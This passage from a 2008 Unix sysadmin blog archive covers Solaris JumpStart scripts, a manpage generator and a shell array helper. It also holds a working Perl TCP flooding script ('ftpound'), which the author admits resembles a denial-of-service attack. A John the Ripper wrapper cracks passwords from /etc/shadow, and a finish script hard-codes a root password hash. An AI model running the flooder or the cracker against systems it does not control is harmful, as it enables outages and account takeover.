SI_CLASS=jclient_class
SI_CONFIG_DIR=/tmp/install_config (This is the default, but you should have set it to /export/install with the add_install_client command)
SI_CONFIG_FILE=/tmp/install_config/rules.ok
SI_CONFIG_PROG=rules.ok
SI_FINISH=jclient_finish
SI_HOSTNAME=jclient
SI_INSTALL_APP=jumpstart
SI_PROFILE=/tmp/install_config/jclient_class
SI_SYS_STATE=/a/etc/.sysIDtool.state TERM=vt100
TEXTDOMAIN=SUNW_INSTALL_SCRIPTS
TZ=US/Central
_DVFS_RECONFIG=YES

FINISH:

CHECK_INPUT=/tmp/install_config/rules.ok
HOME=/tmp/root
LANG=
LC_COLLATE=en_US
LC_CTYPE=en_US
LC_MESSAGES=C
LC_MONETARY=en_US
LC_NUMERIC=en_US
LC_TIME=en_US
PATH=/sbin:/usr/sbin/install.d:/usr/sbin:/usr/bin
PLATFORM=sparc
SHELL=/sbin/sh
SI_BEGIN=jclient_begin
SI_CLASS=jclient_class
SI_CONFIG_DIR=/tmp/install_config
SI_CONFIG_FILE=/tmp/install_config/rules.ok
SI_CONFIG_PROG=rules.ok
SI_FINISH=jclient_finish
SI_HOSTNAME=jclient
SI_INSTALL_APP=jumpstart
SI_PROFILE=/tmp/install_config/jclient_class
SI_SYS_STATE=/a/etc/.sysIDtool.state
TERM=vt100
TEXTDOMAIN=SUNW_INSTALL_SCRIPTS
TZ=US/Central
_DVFS_RECONFIG=YES


, Mike




Monday, January 14, 2008

Extended Begin and Finish Script Examples For Solaris JumpStart

Today, I'm extending on what I wrote about in yesterday's post on creating Derived Profiles for JumpStart using simple Unix shell scripting techniques. If you don't feel like going back and reading over all that now, I'll start out by summarizing and sparing you the possibly-irrelevant-to-your-situation details ;)

Begin and Finish scripts are simple shell scripts used to perform any additional customization to your JumpStart installation process that you deem necessary. As I noted yesterday, a lot of this has now been "supplied" for you if you use Solaris' JASS or SST setups. However, these core scripting concepts are still at the heart of those utilities (and I use that word in its primary sense: The setups are utile :).

Begin scripts serve as pre-installation scripts. They won't affect the custom look and feel of your newly installed client, but can be used to perform critical safety routines, such as backing up the hard drive to tape, before beginning the install and creating Derived Profiles, as per the post mentioned above.

Finish scripts are generally more complex, as they're mosty used to customize your newly installed system (everything from installing packages and patches to creating a company standard subdirectory structure).

Some rules and characteristics that apply to both Begin and Finish scripts are:

1. They should be written in either /bin/sh, /sbin/sh, /bin/ksh or any other common shell.

2. All commands should be given as absolutes, unless the commands are shell primitives.

3. FINISH SCRIPTS ONLY: Remember that the new filesystem is mounted on /a before the post-installation reboot and on / afterward. When copying files over you will need to write the command as such:

cp /usr/bin/someprog /a/usr/bin/

in order to copy someprog from the install server's /usr/bin directory to the install client's /usr/bin directory.

4. BEGIN SCRIPTS ONLY: Remember that the existing filesystem is mounted on /tmp before the installation begins. When copying or listing files from the existing filesystem you need to the type the command like:

ls /tmp/usr/bin/someprog

to list the someprog file in the existing filesystem's /usr/bin directory.

5. Standard comments (lines beginning with the pound (#) character) may be included and announcements may be echoed without adversely affecting the outcome of the script.

6. These scripts should be owned by root and have 644 permissions.

7. The output from the scripts will be written to /var/sadm/system/logs/finish.log or /var/sadm/system/logs/begin.log on the install client.

Below, I've included both a detailed Begin and Finish script that have actually been used successfully. They employ Unix shell scripting techniques and moderate complexity only to demonstrate how much freedom you have when creating these kinds of scripts. The Begin script is kept simple since we went into more detail on that previously. They're commented liberally to avoid the annoyance (for both you and me) of beating you over the head with the same things, twice in a row, to get the meaning across :)

Also note that the instances in the scripts, where we insert control characters, are not typed literally as they appear. For more about how to represent actual control character sequences in a script, check out this post from the past.

Best Wishes,


Creative Commons License


These works are licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License


1. Example Begin Script:

#!/bin/sh

#
# begin - do a preinstallation backup
# generic run - unused slices aborted and
# skipped by ufsdump.
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

TAPE=/tmp/dev/rmt/0mn DISK=/tmp/dev/dsk
mt -t $TAPE rewind
ufsdump 0f $TAPE $DISK/c0t3d0s0
ufsdump 0f $TAPE $DISK/c0t3d0s1
ufsdump 0f $TAPE $DISK/c0t3d0s3
ufsdump 0f $TAPE $DISK/c0t3d0s4
ufsdump 0f $TAPE $DISK/c0t3d0s5
ufsdump 0f $TAPE $DISK/c0t3d0s6
ufsdump 0f $TAPE $DISK/c0t3d0s7
mt -t $TAPE rewind


2. Example finish script:

#!/sbin/sh

#
# finish - custom installation parameters script
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

################################################
# Setup root environment
################################################

echo "Setting up root environment"
echo ""
cat > /a/.profile << END
stty erase ^H
stty intr ^C
TERM=vt100
PATH=/usr/sbin:/usr/bin:/usr/local/bin:/usr/ccs/bin:/usr/ucb
MANPATH=/usr/man:/usr/local/man
LD_LIBRARY_PATH=/usr/lib:/usr/local/lib
export TERM PATH MANPATH LD_LIBRARY_PATH
END

################################################
# Setup crons
################################################

echo "Installing root crontab"
echo ""
cp ${SI_CONFIG_DIR}/jclient_root_dir/root /a/usr/spool/cron/crontabs/root

################################################
# Copy over precustomized etc dir files
################################################

echo "Copying over precustomized etc dir files"
echo ""
for x in `ls ${SI_CONFIG_DIR}/jclient_etc_dir`
do
cp -R ${SI_CONFIG_DIR}/jclient_etc_dir/$x /a/etc/
done

################################################
# Ensure sendmail points to custom built v8
################################################

echo "Ensuring sendmail points to custom built v8"
echo ""
rm -f /a/etc/mail/sendmail.cf
rm -f /a/etc/sendmail.cf
ln -s mail/sendmail.v8 /a/etc/sendmail.cf
ln -s sendmail.v8 /a/etc/mail/sendmail.cf
rm -f /a/usr/lib/sendmail
cp ${SI_CONFIG_DIR}/jclient_etc_dir/usrlibsendmail /a/usr/lib/sendmail
chown root:bin /a/usr/lib/sendmail
chmod 4551 /a/usr/lib/sendmail

################################################
# Create local dirs and ship over files
################################################

echo "Creating local dirs and shipping over files"
echo ""
mkdir /a/usr1/local
ln -s /usr1/local /a/usr/local
cd /a/usr1/local
for x in `ls ${SI_CONFIG_DIR}/jclient_local_dir`
do
echo "Disting $x"
cp ${SI_CONFIG_DIR}/jclient_local_dir/$x /a/usr1/local/$x
echo "Uncompressing $x"
uncompress /a/usr1/local/$x
new_x=`echo $x|cut -d'.' -f1,2`
echo "Untarring $new_x"
tar xf /a/usr1/local/$new_x
echo "Removing $new_x"
echo ""
rm -f /a/usr1/local/$new_x
done

################################################
# Take care of some admin packages we need.
################################################

echo "Loading up monitoring and admin software"
echo ""
cd /a/u
for x in `ls ${SI_CONFIG_DIR}/jclient_sys_dir`
do
echo "Disting $x"
cp ${SI_CONFIG_DIR}/jclient_sys_dir/$x /a/u/$x
echo "Uncompressing $x"
uncompress /a/u/$x
new_x=`echo $x|cut -d'.' -f1,2`
echo "Untarring $new_x"
tar xf /a/u/$new_x
echo "Removing $new_x"
echo ""
rm -f /a/u/$new_x
done

################################################
# Set up a few user accounts
################################################

echo "Setting up initial user accounts"
echo ""
for x in `echo username1 username2 sysadmin`
do
echo "$x..."
echo ""
mkdir /a/u/$x
cat > /a/u/$x/.profile <<- END
stty erase ^H
stty intr ^C
set -o vi
TERM=vt100
PATH=/usr/sbin:/usr/bin:/usr/local/bin:/usr/ccs/bin:/usr/ucb
MANPATH=/usr/man:/usr/local/man
LD_LIBRARY_PATH=/usr/lib:/usr/local/lib
export TERM PATH MANPATH LD_LIBRARY_PATH
END
done
cat ${SI_CONFIG_DIR}/jclient_users_dir/PWDFILE >>/a/etc/passwd
cat ${SI_CONFIG_DIR}/jclient_users_dir/SHADFILE >>/a/etc/shadow

################################################
# Verify root password is set
################################################

PASSWD=ez89iik4rj77d
cp /a/etc/shadow /a/etc/shadow.orig
nawk -F: '{
if ( $1 == "root" )
printf"%s:%s:%s:%s:%s:%s:%s:%s:%s\n",$1,passwd,$3,$4,$5,$6,$7,$8,$9
else
printf"%s:%s:%s:%s:%s:%s:%s:%s:%s\n",$1,$2,$3,$4,$5,$6,$7,$8,$9
}' passwd="$PASSWD" /a/etc/shadow.orig > /a/etc/shadow
perm=`grep '^/etc/shadow e' /a/var/sadm/install/contents | (read f1 f2 f3 f4 f5 ; echo $f4)`
chmod $perm /a/etc/shadow
rm -f /a/etc/shadow.orig
sed -e 's/0 # root/1 # root/' ${SI_SYS_STATE} > /tmp/state.$$
mv /tmp/state.$$ ${SI_SYS_STATE}
echo "All set!"


, Mike




Sunday, January 13, 2008

Creating Derived Profiles For Solaris Jumpstart

For today's post, I wanted to take a look at a part of Solaris JumpStart that (with the advent of JASS and SST) not many administrator's avail themselves of anymore. Derived Profiles. It's true that they've always had a limited usefulness, but I always thought they were good things to know how to create. And, they still work with Jumpstart to this day!

Derived profiles (basically, Unix shell scripts) enable the Solaris JumpStart administrator to create custom profiles, or class files, on the fly. These are useful when the similarity between two machines would result in the creation of convoluted, or impossible, rulesets in the rules file to distinguish between them (Obviously, this doesn't apply if you keep your ruleset matches to hostnames. I hope ;)

To use a derived profile on Solaris, the ruleset that matches the particular machine must have its profile_script variable replaced by an equals (=) sign and the begin_script field set to the name of the begin script that will be creating the derived profile.

Ex:
! karch sun4c && memsize 128 profile_script = finish_script


Normally, at the end of the ruleset after the match criteria, you'd see something like:

begin_script profile_script finish_script

More often than not, that old standard would be written as:

- profile_script finish_script

since begin scripts aren't used very much anymore (as noted above).

But the "=" sign that indicates you'll be deriving a profile, makes it so the place in the argument where the begin_script name would normally reside should become the name of the profile_script you're going to derive through creative scripting. You can name your derived profile shell script "begin_script," but it might cause confusion. Depending on how you process thought, one way is more intuitive than the other. And, as luck would have it, neither are wrong :)

And, that's all there is to that. When a given machine matches the indicated ruleset, the begin script will create the profile, or class file, according to the instructions provided by your begin script. The more advanced your scripting skills, the more useful and practical these simple Unix scripts can, ultimately, be for you. With a little bit of work, you might be able to save yourself a lot of repetitive scripting in the future.

Assuming you still like to do it the old-fashioned way, like me ;)

Cheers,

Example Derived Profile script To Handle Locally Attached Disk:


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/sh

#
# This script parses the install clients /dev/dsk directory,
# passes over all non-disks and uses all available disks for
# the OS install.
#
# Note that $SI_PROFILE is automatically defined by Solaris
# and begin scripts execute with the main disk mounted on /tmp
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

#!/bin/ksh

echo "install_type initial_install" >>${SI_PROFILE}
echo "system_type standalone" >>${SI_PROFILE}
echo "partitioning default" >>${SI_PROFILE}
echo "cluster SUNWCreq" >>${SI_PROFILE}
ls /tmp/dev/dsk |while read line
do
notdisk=`echo $line|cut -d"t" -f2|cut -d"d" -f1`
disk=`echo $line|cut -d"s" -f2`
if [ $notdisk -gt 3 ]
then
continue
elif [ $disk -eq 2 ]
then
whole=`echo $line|cut -d"s" -f1`
echo "usedisk $whole" >>${SI_PROFILE}
else
continue
fi
done

Friday, January 11, 2008

Forked Socket Scripting With Perl For Linux and Unix

For today's post, I thought I'd put something out that deals with a subject we've touched on in a previous post, and combine it with a new concept to write a Perl script for Linux or Unix that should be able to run under any shell. When you read the code, you may notice that it closely resembles (if not entirely resembles ;) a network based attack. For our purposes, we'll refer to it as a "stress test" and remind ourselves that it's not a good idea to randomly slam other folks' machines. It's almost instant bad Karma, since you end up depleting all your shell resources running it.

The reason that the sort of scripting we're doing here has the potential to bring down the machine its running on (and, odds are, it won't be able to do enough to crash any other server in the process), is because we're not just doing a simple sequenced packet stress test. In our example today, we're making use of the fork function. This is a built-in function that gets executed behind the scenes on every Unix and/or Linux shell. For instance, if you type the following you'd get similar output:

host # ps -fu username
UID PID PPID C STIME TTY TIME CMD
username 28090 28088 0 17:25:51 pts/17 0:00 -ksh


Then, if you just type something as simple as:

host # bash
host # ps -fu username
UID PID PPID C STIME TTY TIME CMD
username 28090 28088 0 17:25:51 pts/17 0:00 -ksh
username 28160 28090 0 17:26:14 pts/17 0:00 bash


you'll notice that your shell process ID - 28090 - (from the original line of output) has become the parent process ID of the bash shell you've just invoked - 28160. Your Linux or Unix shell did this by first forking a process off from your main process ID, and then running exec. If you run exec, it replaces the original process with the new process, but that's for another day. I'm already digressing ;)

Check out this forking Perl code (no joke intended ;) and you can see how it's implemented. The basic truths hold for most shells and are put to use (again, behind the scenes) whenever you run any scripts or commands that do anything.

Please remember that this Perl code is just a little Unix and Linux scripting primer and is not meant to be used to the detriment of others. Be kind; relax and rewind ;)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/local/bin/perl

#
# ftpound - change to whatever port you
# want to stress test.
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

use Socket;
require 5.002;

$port = 21;
$multi = 100;
$forks = 100;
chomp($remote=$ARGV[0]);
if ( $#ARGV != 0 ) {
print "Usage: ftpound [host name or IP]\n";
exit;
}
if ($port =~ /\D/) { $port = getservbyname($port, 'tcp') }
&mail_out unless $port;
$iaddr = inet_aton($remote);
$paddr = sockaddr_in($port, $iaddr);
$multiforks = $multi * $forks;
while ( $forks != 0 ) {
unless (fork) {
&fork_off;
sleep 1;
}
$forks--;
}
exit;

sub fork_off {

$a = 0;
$hammertime = $multiforks;
while ( $hammertime != 0 ) {
$binger = "HEAVE${a}HO";
socket($binger, AF_INET, SOCK_STREAM, IPPROTO_TCP) or &clogged_up;
connect($binger, $paddr) or &clogged_up;
send($binger, "help", 6) or &clogged_up;
$hammertime--;
$a++;
if ( $a == 60 ) {
$a = 0;
}
}
}

sub clogged_up {

print "If it ain't down yet, it will be in a second...\n";
$hammertime--;
$a++;
next;
}


, Mike




Thursday, January 10, 2008

Manpage Creation Shell Script For Unix Or Linux

Hey there,

I've finally cranked out the first version of my little manpage generator for Linux and Unix. It's slightly bent toward Solaris, since I had to do all the shell scripting on a Sun box and only had access to their selection of manpage categories at hand (Near the end of the script, where it decides under what directory it will put your manpage).

You'll need to run this script as the root user (assuming you want to actually put your manpages in the man directories). You can run it as a regular user and have it just produce a manpage in your current working directory, also (This will happen by default if you don't have permission to write to your man directories, or they don't exist). On both Solaris Unix and RedHat Linux (probably all other distro's, too), you can then preview your manpage by updating your environment's MANPATH variable, like so:

MANPATH=$MANPATH:.;export MANPATH <--- Assuming sh, jsh, Posix shell, etc.

or

export MANPATH=$MANPATH:. <--- Assuming pretty much every other shell.

Then just type:

man "whateverYouCalledYourManpage"

and you can preview what it looks like using Linux or Unix's built-in parsers.

Here's hoping you find some use for this. Since I write a lot of scripts that are too long to put on this site (who knows; maybe someday ;), I'm going to enjoy creating a whole bunch of these and installing them on our servers so I can let everyone know they can RTFM. Hopefully, with this simple shell script, you'll be able to enjoy the same benefit :)

Best Wishes,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/ksh
#
# manmake - Simple Manpage File Generator
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

trap 'echo;echo "Cleaning up and bailing out!";rm -f addfile partemp0 partemp1 opt0 opt1 seealsofile;exit' 1 2 3 15

clear;
echo
echo "Welcome to the Simple Man Source File Maker"
echo "-------------------------------------------"
echo "Please don't expect nuthin' fancy here..."
echo
echo "Control-C will quit you cleanly at any point!"
echo "Tap or pound on the return key to continue."
read OBLIGSTOP
echo
echo "PLEASE USE EXTREME CAUTION WITH THIS UTILITY!!!"
echo "Sure, it won't be the end of the world if it happens,"
echo "but please make sure that the file you're creating"
echo "a new manpage for does not share the name of a utility"
echo "already in existence. This will confuse the operating"
echo "system severely. ...It's not as smart as it would"
echo "like you to think."
echo
echo "For more information, check out the manpage on this"
echo "program before diving in!"
echo
echo "Hit return to continue..."
echo
read OBLIGTWO
echo
echo "What's the name of your program?"
echo
read ONE
echo
echo "Give a brief, one-line type description"
echo
read TWO
echo
echo "Give the full invocation path and any available"
echo "options for the command line"
echo
read THREE
echo
echo "Give the abolute pathnames of any other files"
echo "associated with this program, assuming there are"
echo "any. Type one entry per line. When you're "
echo "finished, type \"endoffile\", less the quotes,"
echo "on a line by itself and hit return."
echo "If there aren't any, just type endoffile."
echo
while read ADDFILE
do
if [[ $ADDFILE == endoffile ]]
then
break
else
echo $ADDFILE >> addfile
fi
done
echo
echo "What Platforms is it available for?"
echo
read FOUR
echo
echo "Now we'll start on descriptive paragraphs!"
echo
echo "When finished with one paragraph, type \"sunshine\","
echo "minus quotes, on a line, by itself, and hit return. You"
echo "can then enter another and another, ad infinitum."
echo "Type \"endoffile\", minus the quotes, on a line by"
echo "by itself to indicate you are through typing your"
echo "entry. Please note that a section describing"
echo "your command line options and their specifics"
echo "will follow!Also, please note that the buffer limit"
echo "is currently only one line. So be sure before you"
echo "hit return!"
echo
echo "Will you be entering this info at the command line"
echo "or feeding me a file?"
echo
echo "Enter \"file\" for file or \"com\" for command line..."
echo
read CHOICE
if [[ $CHOICE == com ]]
then
echo
echo "Begin Typing!"
echo
while read FIVE
do
if [[ $FIVE == endoffile ]]
then
break
else
echo $FIVE >> partemp0
fi
done
elif [[ $CHOICE == file ]]
then
echo
echo "Please enter the filename. Also, please be"
echo "advised that the file format should be exactly"
echo "the same as described above, however, you "
echo "should not include \"endoffile\" as the last"
echo "line as this will only end up as part of your"
echo "description!"
echo
read FILENAME
if [ -f $FILENAME ]
then
cat $FILENAME >> partemp0
else
echo
echo "$FILENAME isn't here for me to feed on."
echo "Looks like we'll have to start again!"
echo
rm -f addfile partemp0 partemp1 opt0 opt1 seealsofile
exit 1
fi
else
echo
echo "What in God's name happened?"
echo
rm -f addfile partemp0 partemp1 opt0 opt1 seealsofile
exit1
fi
echo
echo "Now we'll need your options! Enter"
echo "these by typing the option on one line"
echo "in the following format:"
echo " option x"
echo "where \"x\" is the letter or short name"
echo "of the option."
echo "Follow this line with a paragraph describing"
echo "the options attributes. Again, you can end"
echo "this section by entering \"endoffile\", minus"
echo "the quotes, on a line by itself! And, also"
echo "don't forget the buffer size of one line!!"
echo
echo "Will you be entering this info at the command line"
echo "or feeding me a file?"
echo
echo "Enter \"file\" for file or \"com\" for command line..."
echo
read CHOICE
if [[ $CHOICE == com ]]
then
echo
echo "Begin Typing!"
echo
while read TEN
do
if [[ $TEN == endoffile ]]
then
break
else
echo $TEN >> opt0
fi
done
elif [[ $CHOICE == file ]]
then
echo
echo "Please enter the filename. Also, please be"
echo "advised that the file format should be exactly"
echo "the same as described above, however, you "
echo "should not include \"endoffile\" as the last"
echo "line as this will only end up as part of your"
echo "description!"
echo
read FILENAME
if [ -f $FILENAME ]
then
cat $FILENAME >> opt0
else
echo
echo "$FILENAME isn't here for me to feed on."
echo "Looks like we'll have to start again!"
echo
rm -f addfile partemp0 partemp1 opt0 opt1 seealsofile
exit 1
fi
else
echo
echo "What in God's name happened?"
echo
rm -f addfile partemp0 partemp1 opt0 opt1 seealsofile
exit1
fi
echo
echo "Heck, we're almost done, here!"
echo "Now, all I need to know are the"
echo "names of any other man pages you'd"
echo "like to reference on yours. You can"
echo "just enter \"endoffile\", no quotes"
echo "if there aren't any"
echo "pertinent ones yet available!"
echo "Enter them all on separate lines!"
echo
while read TWENTY
do
if [[ $TWENTY == endoffile ]]
then
break
else
echo $TWENTY >> seealsofile
fi
done
echo
echo "Okay, now You'll need to decide "
echo "what category your manpage or"
echo "program fits into. Just enter the"
echo "number of the option that best suits"
echo "you. The options listed follow the"
echo "the Sun specifications to a fair degree"
echo "and may not truthfully represent the"
echo "man directory structure order on your"
echo "current operating system. If you're not"
echo "a seething purist, it shouldn't matter"
echo "much."
echo
echo "1. User Commands and Application Programs."
echo "2. System Calls and Error Numbers."
echo "3. C Libraries and Functions."
echo "4. File Formats."
echo "5. Headers, Tables and Macros."
echo "6. Games and Demos."
echo "7. Device and Network Interfaces."
echo "8. Additional software (Could be anything)."
echo "9. Device Driver Interfaces."
echo
read TWENTYONE
echo
echo "All right, hold on while I slap together"
echo "your man page and load it for you!"
echo
DATE=`date "+%b %d %Y"`
print ".\" @(#)${ONE}.1 1.29 95/10/09 SMI; from Sun" >> manfile
print ".TH ${ONE}.${TWENTYONE} \"${DATE}\"" >> manfile
print ".SH NAME" >> manfile
print ".LP" >> manfile
print "$ONE \ - $TWO" >> manfile
print ".SH SYNOPSIS" >> manfile
print ".LP" >> manfile
print ".B $THREE" >> manfile
print ".SH AVAILABILITY" >> manfile
print ".LP" >> manfile
print "$FOUR" >> manfile
print ".SH DESCRIPTION" >> manfile
print ".LP" >> manfile
print ".IX \"${ONE}\" \"\" \"\fL${ONE}\fP \ (em ${TWO}\"" >> manfile
print ".IX \"${TWO}\" \"\" \"${TWO}\"" >> manfile
print ".LP" >> manfile
if [ -f partemp0 ]
then
sed 's/^ *sunshine/.LP/' partemp0 >> partemp1
cat partemp1 2>/dev/null |while read LINE
do
print $LINE >> manfile
done
fi
print ".LP" >> manfile
print ".SH OPTIONS" >> manfile
print ".LP" >> manfile
if [ -f opt0 ]
then
sed 's/^ *option *\(.*\)/.LP\
.B "\1"\
.LP/' opt0 >> opt1
cat opt1 |while read LINE
do
print $LINE >> manfile
done
fi
print ".LP" >> manfile
print ".SH FILES" >> manfile
print ".LP" >> manfile
print "${THREE}" >> manfile
if [ -f addfile ]
then
cat addfile >> manfile
fi
print ".LP" >> manfile
print ".SH \"SEE ALSO\"" >> manfile
print ".LP" >> manfile
cat seealsofile |while read LINE
do
print ".BR $LINE" >> manfile
done
print "" >> manfile
mv manfile ${ONE}.${TWENTYONE}
if [ -d /usr/man/man${TWENTYONE} ]
then
cp ${ONE}.${TWENTYONE} /usr/man/man${TWENTYONE}/
chown bin /usr/man/man${TWENTYONE}/${ONE}.${TWENTYONE}
chgrp bin /usr/man/man${TWENTYONE}/${ONE}.${TWENTYONE}
chmod 444 /usr/man/man${TWENTYONE}/${ONE}.${TWENTYONE}
echo "Copied to /usr/man/man${TWENTYONE} - Left a copy"
echo "here as ${ONE}.${TWENTYONE} for your convenience"
elif [ -d /usr/share/man/man${TWENTYONE} ]
then
cp ${ONE}.${TWENTYONE} /usr/share/man/man${TWENTYONE}/
chown bin /usr/share/man/man${TWENTYONE}/${ONE}.${TWENTYONE}
chgrp bin /usr/share/man/man${TWENTYONE}/${ONE}.${TWENTYONE}
chmod 444 /usr/share/man/man${TWENTYONE}/${ONE}.${TWENTYONE}
echo "Copied to /usr/share/man/man${TWENTYONE} - Left a copy"
echo "here as ${ONE}.${TWENTYONE} for your convenience"
else
echo "Couldn't place the manfile in any normal man"
echo "directories!! The culprit is most likely the"
echo "number you chose. I've saved your completed"
echo "formatted file as ${ONE}.${TWENTYONE} in the"
echo "current directory. All you'll need to do is"
echo "create, or have someone else create, the "
echo "directory \"/usr/man/man${TWENTYONE}\" and"
echo "put this file in there!"
echo
echo "Example:"
echo "mkdir /usr/man/man${TWENTYONE}"
echo "mv ${ONE}${TWENTYONE} /usr/man/man.${TWENTYONE}/"
echo
echo "You should be all set!"
echo
rm -f addfile opt0 opt1 partemp0 partemp1 seealsofile
exit
fi
echo
echo "At the prompt, type \"man\" followed by the"
echo "name you entered for your program and hit return!"
echo
rm -f addfile opt0 opt1 partemp0 partemp1 seealsofile


, Mike




Wednesday, January 9, 2008

Simple Linux and Unix Password Cracker Shell Script

Hey there,

I'm about "this" close to finishing my manpage creator, to compliment the manpage converter post, and should have that all set for tomorrow (can you guess I was hoping to get that out today? Work. It just gets in the way ;)

Today, I thought I'd go over a simple shell script that runs on both Linux and Unix (hopefully, pretty much any flavor) to wrap a popular password cracking program called John The Ripper, JTR from here on out, which you can download directly from this page, if you're not already using it.

JTR is something I've used almost everywhere I've worked, whether or not a separate security department existed. It seems that a lot of companies are moving away from the individual Unix and Linux shell based programs and spending all their money on graphical tools that work on the entire network but end up causing more problems than they resolve. If you're a sysadmin, you know that, when the GUI breaks, the problems always come back to you anyway :P

For the above-mentioned reason, I wrote this script (for Solaris Unix and Redhat Linux primarily) to make sure that I, and any of my co-workers, could at least have a pulse on the state of security insofar as it relates to user account passwords. Even if you don't have the authority to compel users to comply with simple standards, you can at least get to the really bad ones (username: mike, password: Mike1).

Hopefully, you'll be able to reap some benefit from this script. And you can, of course, feel free to keep sharpening those shell scripting skills by modifying this to suite your needs (For instance, my script assumes that you are using a shadow password system and that you only want to do one quick password check followed by a dictionary crack attack). If you've installed JTR in /usr/local, as I have (under the symlink directory "jtr," to help out with upgrade transitions - I also prefer /usr/local because it falls outside the directory conventions of most Unix and Linux systems - /opt, /share, etc - and is more directly portable), you shouldn't have to modify this too much.

If there's anything I'd strongly suggest, it's that you go out and find a better dictionary file than the standard "dict" file. Of course, if you modify the script to use a larger dictionary file, you can expect your execution times to lengthen as well.

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/sh

#
# john.sh - 2008 - Mike Golvach - eggi@comcast.net
#
# Throw this in your crontab and run nightly, or
# weekly, depending on how much crunch-time you can
# afford to take.
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

/usr/local/jtr/unshadow /etc/passwd /etc/shadow >/usr/local/jtr/passwd.1
/usr/local/jtr/john -single /usr/local/jtr/passwd.1 >/usr/local/jtr/PASSFILE 2>&1
/usr/local/jtr/john -wordfile=/usr/local/jtr/dict /usr/local/jtr/passwd.1 >>/usr/local/jtr/PASSFILE 2>&1
if [ -s /usr/local/jtr/john.pot ]
then
(echo "Subject: Passwords Cracked on `hostname`";cat /usr/local/jtr/PASSFILE)|/usr/lib/sendmail -t youguys@yourdomain.com
fi
rm /usr/local/jtr/passwd.1
rm -f /usr/local/jtr/john.pot
rm -f /usr/local/jtr/PASSFILE


, Mike




Sunday, January 6, 2008

Script to Join Letters In An Array

Today's script is a follow up to yesterday's post in which we'll join letters of a word that we previously split up into an array. In a Unix shell script, it's relatively simple to do this using any number of methods. For our purposes today, we're going to make it difficult ;)

In today's Unix shell script, we've again written it in sh, for maximum portability between systems. You'll also note that, because of this, we're, again, going to use some very basic methods to get the results we want. As noted, the Bourne shell doesn't provide a lot of the conveniences we've come to expect from the more advanced shells, which necessitates a bit more scripting on our part.

Take a look at today's script and notice how we deal with arrays. Since the Bourne shell does not provide a facility for creating or using arrays, we (essentially) have to fake them. As Unix shell scripting goes, this can be a confusing way to attack the problem. Although, a more accurate statement would probably be that mastering these sorts of Unix scripting methods, and being able to fall back on them, will put you in a position where you will always be able to write a script to accomplish what's required. Who needs all those fancy high-level shell built-in's anyway ;)

Hopefully, you'll find this interesting and helpful.

Best Wishes,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/sh

########################################
# shjoin - mash arrays into strings
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Usage - shjoin IFS ${array[@]}
#
# Notes - If IFS is a space, or other
# shell meta-character, be sure to quote
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#
########################################

argvcount=$#

if [ $argvcount -lt 2 ]
then
exit 1
fi

TMPIFS=$1
shift
ARRAY=$@

string=`for x in $ARRAY
do
if [ $x = "\0" ]
then
echo " $TMPIFS\c"
else
echo "$x$TMPIFS\c"
fi
done`
newstring=${string}

echo $newstring


, Mike